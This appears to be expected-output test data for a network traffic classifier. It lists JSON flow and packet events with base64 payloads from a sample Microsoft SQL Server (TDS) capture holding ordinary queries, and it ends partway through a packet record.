+00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1259762400022,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":3333,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00658{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762400,"pkt_ts_usec":22561,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABj+dhvGERERERESCABFAADhAAlAAEAGti8Kb29vCgAAAQ0FBZmoWe0S76GBTlAYEAB74gAAAwkAuQAAAQAWAAAAEgAAAAIAAAAAAAAAAAABAAAADgBwAF8ARwBlAHQAQgBvAGcAdQBzAEQAYQB0AGEAAAALQABTAGUAYQByAGMAaABUAHkAcABlAAAmAQEBFUAATQBhAHgAVwBhAGkAdABUAGkAbQBlAEkAbgBTAGUAYwBvAG4AZABzAAAmBAQAAAAAE0AAUAByAG8AYwBlAHMAcwBOAGUAZwBhAHQAaQB2AGUAQQBjAGsAACYBAQA="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1259762400022,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":3333,"dst_port":1433,"l4_proto":"tcp","ndpi": {"proto":"MsSQL-TDS","breed":"Acceptable","category":"Database"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1259762400033,"flow_last_seen":0,"flow_tot_l4_data_len":1102,"flow_min_l4_data_len":1102,"flow_max_l4_data_len":1102,"flow_avg_l4_data_len":1102,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":4444,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01857{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762400,"pkt_ts_usec":33701,"pkt_caplen":1136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1136,"pkt_l4_len":1102,"pkt":"ABj+dhvGERERERESCABFAARiAAxAAEAGsqsKb29vCgAAARFcBZmNJzZmudpdulAYEAAslQAAAwkEOgAAAQANAHMAcABfAGUAeABlAGMAdQB0AGUAcwBxAGwAAgAAAOemAwkE0AA0pgNTAEUATABFAEMAVAAgAFQATwBQACAAOAA4ACAAWwBkAGIAbwBdAC4AWwBNAHkARQB4AGEAbQBwAGwAZQBUAGEAYgBsAGUAXQAuAFsASQBEAF0ALAAgAFsAZABiAG8AXQAuAFsATQB5AEUAeABhAG0AcABsAGUAVABhAGIAbABlAF0ALgBbAEUAbgB0AGkAdAB5AEkARABdACwAIABbAGQAYgBvAF0ALgBbAE0AeQBFAHgAYQBtAHAAbABlAFQAYQBiAGwAZQBdAC4AWwBFAG4AdABpAHQAeQBIAGkAcwB0AG8AcgB5AEkARABdACwAIABbAGQAYgBvAF0ALgBbAE0AeQBFAHgAYQBtAHAAbABlAFQAYQBiAGwAZQBdAC4AWwBFAG4AdABpAHQAeQBUAHkAcABlAEkARABdACwAIABbAGQAYgBvAF0ALgBbAE0AeQBFAHgAYQBtAHAAbABlAFQAYQBiAGwAZQBdAC4AWwBFAG4AdABpAHQAeQBWAGUAcgBzAGkAbwBuAF0ALAAgAFsAZABiAG8AXQAuAFsATQB5AEUAeABhAG0AcABsAGUAVABhAGIAbABlAF0ALgBbAEgAYQBuAGQAbABpAG4AZwBTAHQAYQB0AHUAcwBdACwAIABbAGQAYgBvAF0ALgBbAE0AeQBFAHgAYQBtAHAAbABlAFQAYQBiAGwAZQBdAC4AWwBPAHAAZQByAGEAdABpAG8AbgBUAHkAcABlAEkARABdACAARgBSAE8ATQAgAFsAZABiAG8AXQAuAFsATQB5AEUAeABhAG0AcABsAGUAVABhAGIAbABlAF0AIAAgAFcASABFAFIARQAgACgAIAAoACAAKAAgAFsAZABiAG8AXQAuAFsATQB5AEUAeABhAG0AcABsAGUAVABhAGIAbABlAF0ALgBbAEgAYQBuAGQAbABpAG4AZwBTAHQAYQB0AHUAcwBdACAAPQAgAEAASABhAG4AZABsAGkAbgBnAFMAdABhAHQAdQBzADEAKQApACkAIABPAFIARABFAFIAIABCAFkAIABbAGQAYgBvAF0ALgBbAE0AeQBFAHgAYQBtAHAAbABlAFQAYQBiAGwAZQBdAC4AWwBFAG4AdABpAHQAeQBWAGUAcgBzAGkAbwBuAF0AIABBAFMAQwAsAFsAZABiAG8AXQAuAFsATQB5AEUAeABhAG0AcABsAGUAVABhAGIAbABlAF0ALgBbAEkARABdACAAQQBTAEMAAADnMAAJBNAANDAAQABIAGEAbgBkAGwAaQBuAGcAUwB0AGEAdAB1AHMAMQAgAHQAaQBuAHkAaQBuAHQAEEAASABhAG4AZABsAGkAbgBnAFMAdABhAHQAdQBzADEAACYBAQA="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1259762400033,"flow_last_seen":0,"flow_tot_l4_data_len":1102,"flow_min_l4_data_len":1102,"flow_max_l4_data_len":1102,"flow_avg_l4_data_len":1102,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":4444,"dst_port":1433,"l4_proto":"tcp","ndpi": {"proto":"MsSQL-TDS","breed":"Acceptable","category":"Database"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1259762400716,"flow_last_seen":0,"flow_tot_l4_data_len":210,"flow_min_l4_data_len":210,"flow_max_l4_data_len":210,"flow_avg_l4_data_len":210,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":5555,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00668{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762400,"pkt_ts_usec":716204,"pkt_caplen":244,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":244,"pkt_l4_len":210,"pkt":"AAwp2\/PSAB3lNE84CABFAADmQ4pAAH8GM6kKb29vCgAAARWzBZmoeiv6Zz8h41AY96R0ygAAAQEAvgAAAQAWAAAAEgAAAAIAAAAAAAAAAAABAAAAIABzAGUAdAAgAHQAcgBhAG4AcwBhAGMAdABpAG8AbgAgAGkAcwBvAGwAYQB0AGkAbwBuACAAbABlAHYAZQBsACAAIAByAGUAYQBkACAAYwBvAG0AbQBpAHQAdABlAGQAIAAgAHMAZQB0ACAAaQBtAHAAbABpAGMAaQB0AF8AdAByAGEAbgBzAGEAYwB0AGkAbwBuAHMAIABvAGYAZgAgAA=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1259762400716,"flow_last_seen":0,"flow_tot_l4_data_len":210,"flow_min_l4_data_len":210,"flow_max_l4_data_len":210,"flow_avg_l4_data_len":210,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":5555,"dst_port":1433,"l4_proto":"tcp","ndpi": {"proto":"MsSQL-TDS","breed":"Acceptable","category":"Database"}} +00459{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762400,"pkt_ts_usec":730846,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"AAAMB6wCAAwp2\/PSCABFAABKJJBAAIAGUj8KAAABCm9vbwWZFbNnPyHjqHosuFAY+DP7pwAABAEAIgAzAQD9AQD5AAAAAAAAAAAA\/QAAugAAAAAAAAAAAA=="} +00758{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762400,"pkt_ts_usec":747372,"pkt_caplen":307,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":307,"pkt_l4_len":273,"pkt":"AAwp2\/PSAB3lNE84CABFAAElQ4tAAH8GM2kKb29vCgAAARWzBZmoeiy4Zz8iBVAY94KXAwAAAwEA\/QAAAQAWAAAAEgAAAAIAAAAAAAAAAAABAAAA\/\/8NAAAAAAEmBAQAAAAAAADnQB8JBNAANP\/\/AADnQB8JBNAANLgAYwByAGUAYQB0AGUAIAB0AGEAYgBsAGUAIABuAGUAdwBzAHkAYgAgACgAYwBvAGwAdQBtAG4AMQAgAGMAaABhAHIAKAAzADAAKQAgAG4AbwB0ACAAbgB1AGwAbAAsACAAYwBvAGwAdQBtAG4AMgAgAGMAaABhAHIAKAAzADAAKQAgAG4AdQBsAGwALABjAG8AbAB1AG0AbgAzACAAYwBoAGEAcgAoADMAMAApACAAbgB1AGwAbAApAA=="} +00489{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762401,"pkt_ts_usec":224921,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"AAAMB6wCAAwp2\/PSCABFAABhJJFAAIAGUicKAAABCm9vbwWZFbNnPyIFqHottVAY9zYDBAAABAEAOQAzAQD\/AQDGAAAAAAAAAAAAeQAAAACsAAAAAQAAAAAAACYEBAEAAAD+AADgAAAAAAAAAAAA"} +00729{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762401,"pkt_ts_usec":226157,"pkt_caplen":287,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":287,"pkt_l4_len":253,"pkt":"AAwp2\/PSAB3lNE84CABFAAERQ5BAAH8GM3gKb29vCgAAARWzBZmoei21Zz8iPlAY90mahQAAAwEA6QAAAQAWAAAAEgAAAAIAAAAAAAAAAAABAAAA\/\/8NAAAAAAEmBAQAAAAAAADnQB8JBNAANP\/\/AADnQB8JBNAANKQAaQBuAHMAZQByAHQAIABJAE4AVABPACAAbgBlAHcAcwB5AGIAIAAoAGMAbwBsAHUAbQBuADEALAAgAGMAbwBsAHUAbQBuADIALAAgAGMAbwBsAHUAbQBuADMAKQAgAFYAQQBMAFUARQBTACAAKAAnAGYAaQByAHMAdAAnACwAIAAnAHMAZQBjAG8AbgBkACcALAAgACcAdABoAGkAcgBkACcAKQA="} +00489{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762401,"pkt_ts_usec":697819,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"AAAMB6wCAAwp2\/PSCABFAABhJJJAAIAGUiYKAAABCm9vbwWZFbNnPyI+qHounlAY9k0BvQAABAEAOQAzAQD\/EQDDAAEAAAAAAAAAeQAAAACsAAAAAQAAAAAAACYEBAIAAAD+AADgAAAAAAAAAAAA"} +00502{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762401,"pkt_ts_usec":711921,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"AAwp2\/PSAB3lNE84CABFAABlQ6BAAH8GNBQKb29vCgAAARWzBZmoei6eZz8id1AY9xAcOwAAAwEAPQAAAQAWAAAAEgAAAAIAAAAAAAAAAAABAAAA\/\/8MAAAAAAAmBAQCAAAA\/\/\/\/DAAAAAAAJgQEAgAAAA=="} +00523{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762401,"pkt_ts_usec":726686,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"AAAMB6wCAAwp2\/PSCABFAAB4JJNAAIAGUg4KAAABCm9vbwWZFbNnPyJ3qHou21AY9hB+EwAABAEAUAAzAQD\/EQDDAAEAAAAAAAAAeQAAAAB5AAAAAP6BAOAAAAAAAAAAAAD\/EQDDAAEAAAAAAAAAeQAAAAB5AAAAAP4AAOAAAAAAAAAAAAA="} +00418{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762401,"pkt_ts_usec":925029,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAwp2\/PSAB3lNE84CABFAAAoQ6FAAH8GNFAKb29vCgAAARWzBZmoei7bZz8ix1AQ9sC4jAAAAAAAAAAA"} +00566{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762403,"pkt_ts_usec":727473,"pkt_caplen":163,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":163,"pkt_l4_len":129,"pkt":"AAwp2\/PSAB3lNE84CABFAACVQ61AAH8GM9cKb29vCgAAARWzBZmoei7bZz8ix1AY9sCuDwAAAwEAbQAAAQAWAAAAEgAAAAIAAAAAAAAAAAABAAAA\/\/8NAAAAAAEmBAQAAAAAAADnQB8JBNAANP\/\/AADnQB8JBNAANCgAcwBlAGwAZQBjAHQAIAAqACAAZgByAG8AbQAgAG4AZQB3AHMAeQBiAA=="} +00999{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762403,"pkt_ts_usec":809000,"pkt_caplen":492,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":492,"pkt_l4_len":458,"pkt":"AAAMB6wCAAwp2\/PSCABFAAHeJJRAAIAGUKcKAAABCm9vbwWZFbNnPyLHqHovSFAY9aNzdgAABAEBtgAzAQCBAwAAAAAACACvHgAJBNAANAdjAG8AbAB1AG0AbgAxAAAAAAAJAK8eAAkE0AA0B2MAbwBsAHUAbQBuADIAAAAAAAkArx4ACQTQADQHYwBvAGwAdQBtAG4AMwDRHgBmaXJzdCAgICAgICAgICAgICAgICAgICAgICAgICAeAHNlY29uZCAgICAgICAgICAgICAgICAgICAgICAgIB4AdGhpcmQgICAgICAgICAgICAgICAgICAgICAgICAg0R4AZmlyc3QgICAgICAgICAgICAgICAgICAgICAgICAgHgBzZWNvbmQgICAgICAgICAgICAgICAgICAgICAgICAeAHRoaXJkICAgICAgICAgICAgICAgICAgICAgICAgINEeAGZpcnN0ICAgICAgICAgICAgICAgICAgICAgICAgIB4Ac2Vjb25kICAgICAgICAgICAgICAgICAgICAgICAgHgB0aGlyZCAgICAgICAgICAgICAgICAgICAgICAgICD\/EQDBAAMAAAAAAAAAeQAAAACsAAAAAQAAAAAAACYEBAMAAAD+AADgAAAAAAAAAAAA"} +00420{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762403,"pkt_ts_usec":936672,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAwp2\/PSAB3lNE84CABFAAAoQ7FAAH8GNEAKb29vCgAAARWzBZmoei9IZz8kfVAQ\/ACxKQAAAAAAAAAA"} +00475{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762405,"pkt_ts_usec":827627,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"AAwp2\/PSAB3lNE84CABFAABVQ\/hAAH8GM8wKb29vCgAAARWzBZmoei9IZz8kfVAY\/ABLvwAAAwEALQAAAQAWAAAAEgAAAAIAAAAAAAAAAAABAAAA\/\/8MAAAAAAAmBAQDAAAA"} +00975{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762405,"pkt_ts_usec":864112,"pkt_caplen":474,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":474,"pkt_l4_len":440,"pkt":"AAAMB6wCAAwp2\/PSCABFAAHMJJVAAIAGULgKAAABCm9vbwWZFbNnPyR9qHovdVAY9XacmAAABAEBpAAzAQCBAwAAAAAACACvHgAJBNAANAdjAG8AbAB1AG0AbgAxAAAAAAAJAK8eAAkE0AA0B2MAbwBsAHUAbQBuADIAAAAAAAkArx4ACQTQADQHYwBvAGwAdQBtAG4AMwDRHgBmaXJzdCAgICAgICAgICAgICAgICAgICAgICAgICAeAHNlY29uZCAgICAgICAgICAgICAgICAgICAgICAgIB4AdGhpcmQgICAgICAgICAgICAgICAgICAgICAgICAg0R4AZmlyc3QgICAgICAgICAgICAgICAgICAgICAgICAgHgBzZWNvbmQgICAgICAgICAgICAgICAgICAgICAgICAeAHRoaXJkICAgICAgICAgICAgICAgICAgICAgICAgINEeAGZpcnN0ICAgICAgICAgICAgICAgICAgICAgICAgIB4Ac2Vjb25kICAgICAgICAgICAgICAgICAgICAgICAgHgB0aGlyZCAgICAgICAgICAgICAgICAgICAgICAgICD\/EQDBAAMAAAAAAAAAeQAAAAD+AADgAAAAAAAAAAAA"} +00419{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762406,"pkt_ts_usec":48909,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAwp2\/PSAB3lNE84CABFAAAoRAdAAH8GM+oKb29vCgAAARWzBZmoei91Zz8mIVAQ+lyw\/AAAAAAAAAAA"} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":26,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1259762400022,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":3333,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":26,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1259762400033,"flow_last_seen":0,"flow_tot_l4_data_len":1102,"flow_min_l4_data_len":1102,"flow_max_l4_data_len":1102,"flow_avg_l4_data_len":1102,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":4444,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1259762474884,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":6666,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02370{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762474,"pkt_ts_usec":884131,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ABI\/\/61OABI\/\/6f2CABFAAXc3m9AAIAGks0Kb29vCgAAARoKBZn0doxX83WfcFAQ\/vLIiAAAAwQfQAAAAQAWAAAAEgAAAAIAJgAAAJ0AAAABAAAADQBwAF8AUwBhAHYAZQBFAHgAYQBtAHAAbABlAAAACkAATABvAG4AZwBQAGEAcgBhAG0AAOf\/\/wkE0AA0BCAAAAAAAAAEIAAAUwB0AHUAZABlAG4AYwBrAGkAZQAgAEsAbwBCAW8AIABQAHIAegBlAHcAbwBkAG4AaQBrAPMAdwAgAFQAdQByAHkAcwB0AHkAYwB6AG4AeQBjAGgAIAB3ACAARwBkAGEARAFzAGsAdQAKAHoAYQBwAHIAYQBzAHoAYQAgAG4AYQA6AAoAWABYAFgAVgAgAE4AbwBjAG4AZQAgAE0AYQByAHMAegBlACAAbgBhACAATwByAGkAZQBuAHQAYQBjAGoAGQEgACIARABhAHIAfAFsAHUAYgAiAAoAMAA0AC8AMAA1ACAAZwByAHUAZABuAGkAYQAgADIAMAAxADAACgAKAFcAcwB0ABkBcAAKAAoATgBvAGMAbgBlACAATQBhAHIAcwB6AGUAIABuAGEAIABPAHIAaQBlAG4AdABhAGMAagAZASAAIgBEAGEAcgB8AWwAdQBiACIAIABzAAUBIAB0AHUAcgB5AHMAdAB5AGMAegBuAAUBIABpAG0AcAByAGUAegAFASAAbgBhACAAbwByAGkAZQBuAHQAYQBjAGoAGQEgACgASQBuAE8AKQAsACAAdwAgAGsAdADzAHIAZQBqACAAdQBjAHoAZQBzAHQAbgBpAGMAeQAgAG0AYQBqAAUBIAB6AGEAIAB6AGEAZABhAG4AaQBlACAAcABvAHQAdwBpAGUAcgBkAHoAaQAHASAAdwAgAG8AawByAGUAWwFsAG8AbgB5AG0AIABsAGkAbQBpAGMAaQBlACAAYwB6AGEAcwB1ACAAcwB3AG8AagAFASAAbwBiAGUAYwBuAG8AWwEHASAAcAByAHoAeQAgAHUAcwB0AGEAdwBpAG8AbgB5AGMAaAAgAHcAIAB0AGUAcgBlAG4AaQBlACAAcAB1AG4AawB0AGEAYwBoACAAawBvAG4AdAByAG8AbABuAHkAYwBoAC4AIABOAGEAIABkAGEAbgBlAGoAIAB0AHIAYQBzAGkAZQAgAHoAdwB5AGMAaQAZAXwBYQAgAHoAZQBzAHAA8wBCASwAIABrAHQA8wByAHkAIAB6AGEAIABwAG8AawBvAG4AYQBuAGkAZQAgAHQAcgBhAHMAeQAgAHUAegB5AHMAawBhAEIBIABuAGEAagBtAG4AaQBlAGoAcwB6AAUBIABsAGkAYwB6AGIAGQEgAHAAdQBuAGsAdADzAHcAIABrAGEAcgBuAHkAYwBoAC4AIABVAGMAegBlAHMAdABuAGkAawDzAHcAIABvAGIAbwB3AGkABQF6AHUAagBlACAAegBtAG8AZAB5AGYAaQBrAG8AdwBhAG4AeQAgAHIAZQBnAHUAbABhAG0AaQBuACAAdAB1AHIAeQBzAHQAeQBjAHoAbgB5AGMAaAAgAGkAbQBwAHIAZQB6ACAAbgBhACAAbwByAGkAZQBuAHQAYQBjAGoAGQEgAFAAVABUAEsALgAKAAoAVAB5AG0AIAByAGEAegBlAG0AIAB0AG8AdwBhAHIAegB5AHMAegB5AAcBIABuAGEAbQAgAGIAGQFkAHoAaQBlACAAYQBnAGUAbgB0ACAAMAAwADcALAAgAEoAYQBtAGUAcwAgAEIAbwBuAGQALgAgAFoAZABvAGIABQFkAHoBYwBpAGUAIABsAGkAYwBlAG4AYwBqABkBIABuAGEAIAB6AGEAYgBCAQUBZAB6AGUAbgBpAGUAIQAKAAoASgBhAGsAIABjAG8AIAByAG8AawB1ACAAbwBkAGIAGQFkAHoAaQBlACAAcwBpABkBIABrAG8AbgBrAHUAcgBzACAAbgBhACAAbgBhAGoAbAA="} +02368{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762474,"pkt_ts_usec":884281,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ABI\/\/61OABI\/\/6f2CABFAAXc3nBAAIAGkswKb29vCgAAARoKBZn0dpIL83WfcFAQ\/vKFNgAAZQBwAHMAegAFASAAbgBhAHoAdwAZASAAegBlAHMAcABvAEIBdQAgAG4AYQB3AGkABQF6AHUAagAFAWMABQEgAGQAbwAgAHQAZQBtAGEAdAB1ACAAcAByAHoAZQB3AG8AZABuAGkAZQBnAG8AIABpAG0AcAByAGUAegB5AC4ACgAKADEALgAgAE8AcgBnAGEAbgBpAHoAYQB0AG8AcgAgAGkAbQBwAHIAZQB6AHkACgAKAFMAdAB1AGQAZQBuAGMAawBpAGUAIABLAG8AQgFvACAAUAByAHoAZQB3AG8AZABuAGkAawDzAHcAIABUAHUAcgB5AHMAdAB5AGMAegBuAHkAYwBoACAAdwAgAEcAZABhAEQBcwBrAHUALAAgAGQAegBpAGEAQgFhAGoABQFjAGUAIABwAHIAegB5ACAATwBkAGQAegBpAGEAbABlACAAUwB0AHUAZABlAG4AYwBrAGkAbQAgAFAAVABUAEsALgAKAEEAZAByAGUAcwA6ACAAdQBsAC4AIABTAGkAZQBkAGwAaQBjAGsAYQAgADQALAAgADgAMAAtADIAMgAyACAARwBkAGEARAFzAGsALAAgAGUALQBtAGEAaQBsADoAIABzAGsAcAB0AEAAcwBrAHAAdAAuAGcAZABhAG4AcwBrAC4AcABsACwAIAB3AHcAdwAuAHMAawBwAHQALgBnAGQAYQBuAHMAawAuAHAAbAAKAAoAMgAuACAAVwBzAHAA8wBCAXAAcgBhAGMAYQAgAGkAIABzAHAAbwBuAHMAbwByAHoAeQAKAAoAIAAgACAAIAAqACAAZgBpAHIAbQBhACAAYwBhAHQAZQByAGkAbgBnAG8AdwBhACAAWQBlAGwAbABvAHcAIABDAGEAdABlAHIAaQBuAGcACgAgACAAIAAgACoAIABTAHQAbwB3AGEAcgB6AHkAcwB6AGUAbgBpAGUAIABOAGEAIABSAHoAZQBjAHoAIABSAGEAdABvAHcAbgBpAGMAdAB3AGEAIABBAGQAaQB1AHQAYQByAGUACgAgACAAIAAgACoAIABwAHIAbwBkAHUAYwBlAG4AdAAgAFsBcABpAHcAbwByAPMAdwAgAGkAIABvAGQAegBpAGUAfAF5ACAAcAB1AGMAaABvAHcAZQBqACAAUgBvAGIAZQByAHQAJwBzACAATwB1AHQAZABvAG8AcgAgAEUAcQB1AGkAcABtAGUAbgB0AAoAIAAgACAAIAAqACAAcwBrAGwAZQBwACAAegAgAG8AZAB6AGkAZQB8AQUBIABpACAAcwBwAHIAegAZAXQAZQBtACAAdAB1AHIAeQBzAHQAeQBjAHoAbgB5AG0AIABUAHIAZQBrAAoAIAAgACAAIAAqACAAVwB5AGQAYQB3AG4AaQBjAHQAdwBvACAARQBrAG8ALQBLAGEAcABpAG8AIABQAGkAbwB0AHIAIABLAGEAcABjAHoAeQBEAXMAawBpAAoAIAAgACAAIAAqACAAUwBrAGwAZQBwACAAZwDzAHIAcwBrAGkAIABFAC0AcABhAG0AaQByAC4Ac